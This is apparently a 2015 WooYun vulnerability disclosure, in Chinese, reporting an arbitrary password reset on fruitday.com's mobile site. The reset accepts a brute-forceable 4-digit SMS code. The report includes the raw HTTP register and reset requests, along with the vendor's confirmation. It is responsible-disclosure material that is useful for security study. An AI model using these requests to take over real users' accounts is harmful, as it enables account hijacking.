当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109449

漏洞标题:天天果园某处任意用户密码重置

相关厂商:fruitday.com

漏洞作者: xlz0iza1

提交时间:2015-04-22 11:46

修复时间:2015-06-06 13:12

公开时间:2015-06-06 13:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 细节已通知厂商并且等待厂商处理中
2015-04-22: 厂商已经确认,细节仅向厂商公开
2015-05-02: 细节向核心白帽子及相关领域专家公开
2015-05-12: 细节向普通白帽子公开
2015-05-22: 细节向实习白帽子公开
2015-06-06: 细节向公众公开

简要描述:

RT

详细说明:

Url:http://m.fruitday.com/login
触屏版的地方这里注册用户的时候发送的验证码是四位的,密码重置也是四位的。
注册抓包:

POST /ajax/register HTTP/1.1
Host: m.fruitday.com
Proxy-Connection: keep-alive
Content-Length: 68
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://m.fruitday.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://m.fruitday.com/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=916jkh5hu99jopfqd5ost6sgq7; Hm_lvt_4fcef85541447c750b4753df83ff1a32=1429544216; _ga=GA1.2.1839032413.1429542473; Hm_lvt_2296b146cc501cc0082dddd0d1f1b434=1429544226,1429544261,1429544269,1429604053; Hm_lpvt_2296b146cc501cc0082dddd0d1f1b434=1429604155
Connection: close
mobile=15288888888&password=***&re_password=***&identcode=0168


重置密码抓包:

POST /ajax/login/forgetps HTTP/1.1
Host: m.fruitday.com
Proxy-Connection: keep-alive
Content-Length: 68
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://m.fruitday.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://m.fruitday.com/login/forgetps
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=916jkh5hu99jopfqd5ost6sgq7; Hm_lvt_4fcef85541447c750b4753df83ff1a32=1429544216; _ga=GA1.2.1839032413.1429542473; Hm_lvt_2296b146cc501cc0082dddd0d1f1b434=1429544226,1429544261,1429544269,1429604053; Hm_lpvt_2296b146cc501cc0082dddd0d1f1b434=1429604577
mobile=15288888888&password=123456&re_password=123456&identcode=1111

漏洞证明:

用自己手机收到的验证码,注册和重置密码都是四位数的。

A92907AFE13C9144AB75C1CEEE3088D9.jpg


用手机号:15288888888测试一下注册。

CD6036D1-8BFF-44A7-A039-9D8A37F64C6B.png


成功注册。

5D9C733E-5B33-49A4-B52A-7DC5A11DA7F7.png


然后重置密码试试。

7805C0BD-F0B0-4C40-A5D1-B3F669B2046D.png


修复方案:

版权声明:转载请注明来源 xlz0iza1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-22 13:10

厂商回复:

非常感谢您提供的漏洞!我们会尽快修复,谢谢!

最新状态:

暂无


漏洞评价:

评论